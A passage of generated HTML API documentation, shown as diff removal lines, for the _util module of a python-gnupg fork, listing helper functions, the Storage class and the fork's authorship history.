-</ul> -</td> -</tr> -<tr class="field-even field"><th class="field-name">Raises:</th><td class="field-body"><p class="first last">:exc:LookupError if the normalized codec, <tt class="docutils literal"><span class="pre">enc</span></tt>, cannot be -found in Python’s encoding translation map.</p> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util.author_info"> -<tt class="descname">author_info</tt><big>(</big><em>name</em>, <em>contact=None</em>, <em>public_key=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#author_info"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util.author_info" title="Permalink to this definition">¶</a></dt> -<dd><p>Easy object-oriented representation of contributor info.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>name</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The contributor´s name.</li> -<li><strong>contact</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The contributor´s email address or contact -information, if given.</li> -<li><strong>public_key</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The contributor´s public keyid, if given.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._copy_data"> -<tt class="descname">_copy_data</tt><big>(</big><em>instream</em>, <em>outstream</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_copy_data"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._copy_data" title="Permalink to this definition">¶</a></dt> -<dd><p>Copy data from one stream to another.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>instream</strong> (<a class="reference external" href="http://docs.python.org/library/io.html#io.BytesIO" title="(in Python v2.7)"><tt class="xref py py-class docutils literal"><span class="pre">io.BytesIO</span></tt></a> or <a class="reference external" href="http://docs.python.org/library/io.html#io.StringIO" title="(in Python v2.7)"><tt class="xref py py-class docutils literal"><span class="pre">io.StringIO</span></tt></a> or file) – A byte stream or open file to read from.</li> -<li><strong>outstream</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#file" title="(in Python v2.7)"><em>file</em></a>) – The file descriptor of a tmpfile to write to.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._create_if_necessary"> -<tt class="descname">_create_if_necessary</tt><big>(</big><em>directory</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_create_if_necessary"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._create_if_necessary" title="Permalink to this definition">¶</a></dt> -<dd><p>Create the specified directory, if necessary.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>directory</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The directory to use.</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body">bool</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body">True if no errors occurred and the directory was created or -existed beforehand, False otherwise.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util.create_uid_email"> -<tt class="descname">create_uid_email</tt><big>(</big><em>username=None</em>, <em>hostname=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#create_uid_email"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util.create_uid_email" title="Permalink to this definition">¶</a></dt> -<dd><p>Create an email address suitable for a UID on a GnuPG key.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first simple"> -<li><strong>username</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The username portion of an email address. If None, -defaults to the username of the running Python -process.</li> -<li><strong>hostname</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The FQDN portion of an email address. If None, the -hostname is obtained from gethostname(2).</li> -</ul> -</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body"><p class="first">str</p> -</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body"><p class="first last">A string formatted as <username>@<hostname>.</p> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._deprefix"> -<tt class="descname">_deprefix</tt><big>(</big><em>line</em>, <em>prefix</em>, <em>callback=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_deprefix"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._deprefix" title="Permalink to this definition">¶</a></dt> -<dd><p>Remove the prefix string from the beginning of line, if it exists.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first simple"> -<li><strong>line</strong> (<a class="reference external" href="http://docs.python.org/library/string.html#module-string" title="(in Python v2.7)"><em>string</em></a>) – A line, such as one output by GnuPG’s status-fd.</li> -<li><strong>prefix</strong> (<a class="reference external" href="http://docs.python.org/library/string.html#module-string" title="(in Python v2.7)"><em>string</em></a>) – A substring to remove from the beginning of -<tt class="docutils literal"><span class="pre">line</span></tt>. Case insensitive.</li> -<li><strong>callback</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#callable" title="(in Python v2.7)"><em>callable</em></a>) – Function to call if the prefix is found. The signature to -callback will be only one argument, the <tt class="docutils literal"><span class="pre">line</span></tt> without the <tt class="docutils literal"><span class="pre">prefix</span></tt>, i.e. -<tt class="docutils literal"><span class="pre">callback(line)</span></tt>.</li> -</ul> -</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body"><p class="first">string</p> -</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body"><p class="first last">If the prefix was found, the <tt class="docutils literal"><span class="pre">line</span></tt> without the prefix is -returned. Otherwise, the original <tt class="docutils literal"><span class="pre">line</span></tt> is returned.</p> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._find_binary"> -<tt class="descname">_find_binary</tt><big>(</big><em>binary=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_find_binary"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._find_binary" title="Permalink to this definition">¶</a></dt> -<dd><p>Find the absolute path to the GnuPG binary.</p> -<p>Also run checks that the binary is not a symlink, and check that -our process real uid has exec permissions.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>binary</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The path to the GnuPG binary.</td> -</tr> -<tr class="field-even field"><th class="field-name">Raises:</th><td class="field-body"><a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.RuntimeError" title="(in Python v2.7)"><tt class="xref py py-exc docutils literal"><span class="pre">RuntimeError</span></tt></a> if it appears that GnuPG is not -installed.</td> -</tr> -<tr class="field-odd field"><th class="field-name">Return type:</th><td class="field-body">str</td> -</tr> -<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body">The absolute path to the GnuPG binary to use, if no exceptions -occur.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._has_readwrite"> -<tt class="descname">_has_readwrite</tt><big>(</big><em>path</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_has_readwrite"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._has_readwrite" title="Permalink to this definition">¶</a></dt> -<dd><p>Determine if the real uid/gid of the executing user has read and write -permissions for a directory or a file.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>path</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The path to the directory or file to check permissions -for.</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body">bool</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body">True if real uid/gid has read+write permissions, False otherwise.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._is_file"> -<tt class="descname">_is_file</tt><big>(</big><em>filename</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_is_file"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._is_file" title="Permalink to this definition">¶</a></dt> -<dd><p>Check that the size of the thing which is supposed to be a filename has -size greater than zero, without following symbolic links or using -:func:os.path.isfile.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>filename</strong> – An object to check.</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body">bool</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body">True if <strong>filename</strong> is file-like, False otherwise.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._is_stream"> -<tt class="descname">_is_stream</tt><big>(</big><em>input</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_is_stream"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._is_stream" title="Permalink to this definition">¶</a></dt> -<dd><p>Check that the input is a byte stream.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>input</strong> – An object provided for reading from or writing to.</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body">bool</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body">True if :param:input is a stream, False if otherwise.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._is_list_or_tuple"> -<tt class="descname">_is_list_or_tuple</tt><big>(</big><em>instance</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_is_list_or_tuple"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._is_list_or_tuple" title="Permalink to this definition">¶</a></dt> -<dd><p>Check that <tt class="docutils literal"><span class="pre">instance</span></tt> is a list or tuple.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>instance</strong> – The object to type check.</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body">bool</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body">True if <tt class="docutils literal"><span class="pre">instance</span></tt> is a list or tuple, False otherwise.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._is_gpg1"> -<tt class="descname">_is_gpg1</tt><big>(</big><em>version</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_is_gpg1"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._is_gpg1" title="Permalink to this definition">¶</a></dt> -<dd><p>Returns True if using GnuPG version 1.x.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>version</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#tuple" title="(in Python v2.7)"><em>tuple</em></a>) – A tuple of three integers indication major, minor, -and micro version numbers.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._is_gpg2"> -<tt class="descname">_is_gpg2</tt><big>(</big><em>version</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_is_gpg2"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._is_gpg2" title="Permalink to this definition">¶</a></dt> -<dd><p>Returns True if using GnuPG version 2.x.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>version</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#tuple" title="(in Python v2.7)"><em>tuple</em></a>) – A tuple of three integers indication major, minor, -and micro version numbers.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._make_binary_stream"> -<tt class="descname">_make_binary_stream</tt><big>(</big><em>s</em>, <em>encoding</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_make_binary_stream"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._make_binary_stream" title="Permalink to this definition">¶</a></dt> -<dd><p>xxx fill me in</p> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._make_passphrase"> -<tt class="descname">_make_passphrase</tt><big>(</big><em>length=None</em>, <em>save=False</em>, <em>file=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_make_passphrase"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._make_passphrase" title="Permalink to this definition">¶</a></dt> -<dd><p>Create a passphrase and write it to a file that only the user can read.</p> -<p>This is not very secure, and should not be relied upon for actual key -passphrases.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>length</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#int" title="(in Python v2.7)"><em>int</em></a>) – The length in bytes of the string to generate.</li> -<li><strong>file</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#file" title="(in Python v2.7)"><em>file</em></a>) – The file to save the generated passphrase in. If not -given, defaults to ‘passphrase-<the real user id>-<seconds since -epoch>’ in the top-level directory.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._make_random_string"> -<tt class="descname">_make_random_string</tt><big>(</big><em>length</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_make_random_string"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._make_random_string" title="Permalink to this definition">¶</a></dt> -<dd><p>Returns a random lowercase, uppercase, alphanumerical string.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>length</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#int" title="(in Python v2.7)"><em>int</em></a>) – The length in bytes of the string to generate.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._match_version_string"> -<tt class="descname">_match_version_string</tt><big>(</big><em>version</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_match_version_string"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._match_version_string" title="Permalink to this definition">¶</a></dt> -<dd><p>Sort a binary version string into major, minor, and micro integers.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>version</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – A version string in the form x.x.x</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._next_year"> -<tt class="descname">_next_year</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_next_year"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._next_year" title="Permalink to this definition">¶</a></dt> -<dd><p>Get the date of today plus one year.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Return type:</th><td class="field-body">str</td> -</tr> -<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body">The date of this day next year, in the format ‘%Y-%m-%d’.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._now"> -<tt class="descname">_now</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_now"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._now" title="Permalink to this definition">¶</a></dt> -<dd><p>Get a timestamp for right now, formatted according to ISO 8601.</p> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._separate_keyword"> -<tt class="descname">_separate_keyword</tt><big>(</big><em>line</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_separate_keyword"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._separate_keyword" title="Permalink to this definition">¶</a></dt> -<dd><p>Split the line, and return (first_word, the_rest).</p> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._threaded_copy_data"> -<tt class="descname">_threaded_copy_data</tt><big>(</big><em>instream</em>, <em>outstream</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_threaded_copy_data"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._threaded_copy_data" title="Permalink to this definition">¶</a></dt> -<dd><p>Copy data from one stream to another in a separate thread.</p> -<p>Wraps <tt class="docutils literal"><span class="pre">_copy_data()</span></tt> in a <a class="reference external" href="http://docs.python.org/library/threading.html#threading.Thread" title="(in Python v2.7)"><tt class="xref py py-class docutils literal"><span class="pre">threading.Thread</span></tt></a>.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>instream</strong> (<a class="reference external" href="http://docs.python.org/library/io.html#io.BytesIO" title="(in Python v2.7)"><tt class="xref py py-class docutils literal"><span class="pre">io.BytesIO</span></tt></a> or <a class="reference external" href="http://docs.python.org/library/io.html#io.StringIO" title="(in Python v2.7)"><tt class="xref py py-class docutils literal"><span class="pre">io.StringIO</span></tt></a>) – A byte stream to read from.</li> -<li><strong>outstream</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#file" title="(in Python v2.7)"><em>file</em></a>) – The file descriptor of a tmpfile to write to.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._utc_epoch"> -<tt class="descname">_utc_epoch</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_utc_epoch"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._utc_epoch" title="Permalink to this definition">¶</a></dt> -<dd><p>Get the seconds since epoch.</p> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._which"> -<tt class="descname">_which</tt><big>(</big><em>executable</em>, <em>flags=1</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_which"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._which" title="Permalink to this definition">¶</a></dt> -<dd><p>Borrowed from Twisted’s :mod:twisted.python.proutils .</p> -<p>Search PATH for executable files with the given name.</p> -<p>On newer versions of MS-Windows, the PATHEXT environment variable will be -set to the list of file extensions for files considered executable. This -will normally include things like ”.EXE”. This fuction will also find files -with the given name ending with any of these extensions.</p> -<p>On MS-Windows the only flag that has any meaning is os.F_OK. Any other -flags will be ignored.</p> -<p>Note: This function does not help us prevent an attacker who can already -manipulate the environment’s PATH settings from placing malicious code -higher in the PATH. It also does happily follows links.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first simple"> -<li><strong>name</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The name for which to search.</li> -<li><strong>flags</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#int" title="(in Python v2.7)"><em>int</em></a>) – Arguments to L{os.access}.</li> -</ul> -</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body"><p class="first">list</p> -</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body"><p class="first last">A list of the full paths to files found, in the order in which -they were found.</p> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._util._write_passphrase"> -<tt class="descname">_write_passphrase</tt><big>(</big><em>stream</em>, <em>passphrase</em>, <em>encoding</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#_write_passphrase"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util._write_passphrase" title="Permalink to this definition">¶</a></dt> -<dd><p>Write the passphrase from memory to the GnuPG process’ stdin.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>stream</strong> (file, <a class="reference external" href="http://docs.python.org/library/io.html#io.BytesIO" title="(in Python v2.7)"><tt class="xref py py-class docutils literal"><span class="pre">BytesIO</span></tt></a>, or <a class="reference external" href="http://docs.python.org/library/io.html#io.StringIO" title="(in Python v2.7)"><tt class="xref py py-class docutils literal"><span class="pre">StringIO</span></tt></a>) – The input file descriptor to write the password to.</li> -<li><strong>passphrase</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The passphrase for the secret key material.</li> -<li><strong>encoding</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The data encoding expected by GnuPG. Usually, this -is <tt class="docutils literal"><span class="pre">sys.getfilesystemencoding()</span></tt>.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="class"> -<dt id="gnupg._util.InheritableProperty"> -<em class="property">class </em><tt class="descname">InheritableProperty</tt><big>(</big><em>fget=None</em>, <em>fset=None</em>, <em>fdel=None</em>, <em>doc=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#InheritableProperty"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util.InheritableProperty" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <tt class="xref py py-class docutils literal"><span class="pre">object</span></tt></p> -<p>Based on the emulation of PyProperty_Type() in Objects/descrobject.c</p> -</dd></dl> - -<dl class="class"> -<dt id="gnupg._util.Storage"> -<em class="property">class </em><tt class="descname">Storage</tt><a class="reference internal" href="_modules/gnupg/_util.html#Storage"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util.Storage" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <a class="reference external" href="http://docs.python.org/library/stdtypes.html#dict" title="(in Python v2.7)"><tt class="xref py py-class docutils literal"><span class="pre">dict</span></tt></a></p> -<p>A dictionary where keys are stored as class attributes.</p> -<p>For example, <tt class="docutils literal"><span class="pre">obj.foo</span></tt> can be used in addition to <tt class="docutils literal"><span class="pre">obj['foo']</span></tt>:</p> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="n">o</span> <span class="o">=</span> <span class="n">Storage</span><span class="p">(</span><span class="n">a</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">o</span><span class="o">.</span><span class="n">a</span> -<span class="go">1</span> -<span class="gp">>>> </span><span class="n">o</span><span class="p">[</span><span class="s">'a'</span><span class="p">]</span> -<span class="go">1</span> -<span class="gp">>>> </span><span class="n">o</span><span class="o">.</span><span class="n">a</span> <span class="o">=</span> <span class="mi">2</span> -<span class="gp">>>> </span><span class="n">o</span><span class="p">[</span><span class="s">'a'</span><span class="p">]</span> -<span class="go">2</span> -<span class="gp">>>> </span><span class="k">del</span> <span class="n">o</span><span class="o">.</span><span class="n">a</span> -<span class="gp">>>> </span><span class="n">o</span><span class="o">.</span><span class="n">a</span> -<span class="go">None</span> -</pre></div> -</div> -</dd></dl> - -</div> -<div class="section" id="about-this-fork"> -<h2>About this fork<a class="headerlink" href="#about-this-fork" title="Permalink to this headline">¶</a></h2> -<p>This is a modified version of <a class="reference external" href="https://code.google.com/p/python-gnupg/">python-gnupg</a>, (forked from version 0.3.2) which -was created by Vinay Sajip, which itself is a modification of GPG.py written -by Steve Traugott, which in turn is a modification of the pycrypto GnuPG -interface written by A.M. Kuchling.</p> -<p>This version is patched to sanitize untrusted inputs, due to the necessity of -executing <tt class="docutils literal"><span class="pre">subprocess.Popen([...],</span> <span class="pre">shell=True)</span></tt> in order to communicate with -GnuPG. Several speed improvements were also made based on code profiling, and -the API has been cleaned up to support an easier, more Pythonic, interaction.</p> -</div> -<div class="section" id="previous-authors-documentation"> -<h2>Previous Authors’ Documentation<a class="headerlink" href="#previous-authors-documentation" title="Permalink to this headline">¶</a></h2> -<dl class="docutils"> -<dt>Steve Traugott’s documentation:</dt> -<dd><div class="first last line-block"> -<div class="line"><br /></div> -<div class="line-block"> -<div class="line">Portions of this module are derived from A.M. Kuchling’s well-designed</div> -<div class="line">GPG.py, using Richard Jones’ updated version 1.3, which can be found in</div> -<div class="line">the pycrypto CVS repository on Sourceforge:</div> -<div class="line"><br /></div> -<div class="line"><a class="reference external" href="http://pycrypto.cvs.sourceforge.net/viewvc/pycrypto/gpg/GPG.py">http://pycrypto.cvs.sourceforge.net/viewvc/pycrypto/gpg/GPG.py</a></div> -<div class="line"><br /></div> -<div class="line">This module is <em>not</em> forward-compatible with amk’s; some of the old</div> -<div class="line">interface has changed. For instance, since I’ve added decrypt</div> -<div class="line">functionality, I elected to initialize with a ‘gpghome’ argument instead</div> -<div class="line">of ‘keyring’, so that gpg can find both the public and secret keyrings.</div> -<div class="line">I’ve also altered some of the returned objects in order for the caller to</div> -<div class="line">not have to know as much about the internals of the result classes.</div> -<div class="line"><br /></div> -<div class="line">While the rest of ISconf is released under the GPL, I am releasing this</div> -<div class="line">single file under the same terms that A.M. Kuchling used for pycrypto.</div> -<div class="line"><br /></div> -<div class="line">Steve Traugott, <a class="reference external" href="mailto:stevegt%40terraluna.org">stevegt<span>@</span>terraluna<span>.</span>org</a></div> -<div class="line">Thu Jun 23 21:27:20 PDT 2005</div> -</div> -</div> -</dd> -<dt>Vinay Sajip’s documentation:</dt> -<dd><div class="first last line-block"> -<div class="line"><br /></div> -<div class="line-block"> -<div class="line">This version of the module has been modified from Steve Traugott’s version</div> -<div class="line">(see <a class="reference external" href="http://trac.t7a.org/isconf/browser/trunk/lib/python/isconf/GPG.py">http://trac.t7a.org/isconf/browser/trunk/lib/python/isconf/GPG.py</a>) by</div> -<div class="line">Vinay Sajip to make use of the subprocess module (Steve’s version uses</div> -<div class="line">os.fork() and so does not work on Windows). Renamed to gnupg.py to avoid</div> -<div class="line">confusion with the previous versions.</div> -<div class="line"><br /></div> -<div class="line">A unittest harness (test_gnupg.py) has also been added.</div> -<div class="line"><br /></div> -<div class="line">Modifications Copyright (C) 2008-2012 Vinay Sajip. All rights reserved.</div> -</div> -</div> -</dd> -</dl> -</div> -</div> - - - </div> - </div> - </div> - </div> - <div class="sidebar"> - <h3>Table Of Contents</h3> - <ul class="current"> -<li class="toctree-l1 current"><a class="current reference internal" href="">gnupg package</a><ul> -<li class="toctree-l2"><a class="reference internal" href="#gnupg-module">gnupg module</a></li> -<li class="toctree-l2"><a class="reference internal" href="#meta-module">meta module</a></li> -<li class="toctree-l2"><a class="reference internal" href="#parsers-module">parsers module</a></li> -<li class="toctree-l2"><a class="reference internal" href="#util-module">util module</a></li> -<li class="toctree-l2"><a class="reference internal" href="#about-this-fork">About this fork</a></li> -<li class="toctree-l2"><a class="reference internal" href="#previous-authors-documentation">Previous Authors’ Documentation</a></li> -</ul> -</li> -</ul> - - <h3 style="margin-top: 1.5em;">Search</h3> - <form class="search" action="search.html" method="get"> - <input type="text" name="q" /> - <input type="submit" value="Go" /> - <input type="hidden" name="check_keywords" value="yes" /> - <input type="hidden" name="area" value="default" /> - </form> - <p class="searchtip" style="font-size: 90%"> - Enter search terms or a module, class or function name. - </p> - </div> - <div class="clearer"></div> - </div> - </div> - - <div class="footer-wrapper"> - <div class="footer"> - <div class="left"> - <a href="index.html" title="gnupg: Python Package Documentation" - >previous</a> | - <a href="py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="genindex.html" title="General Index" - >index</a> - <br/> - <a href="_sources/gnupg.txt" - rel="nofollow">Show Source</a> - </div> - - <div class="right"> - - <div class="footer"> - © Copyright 2013-2014, Isis Agora Lovecruft. - Last updated on Saturday, 02 August 2014. - Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.2. - </div> - </div> - <div 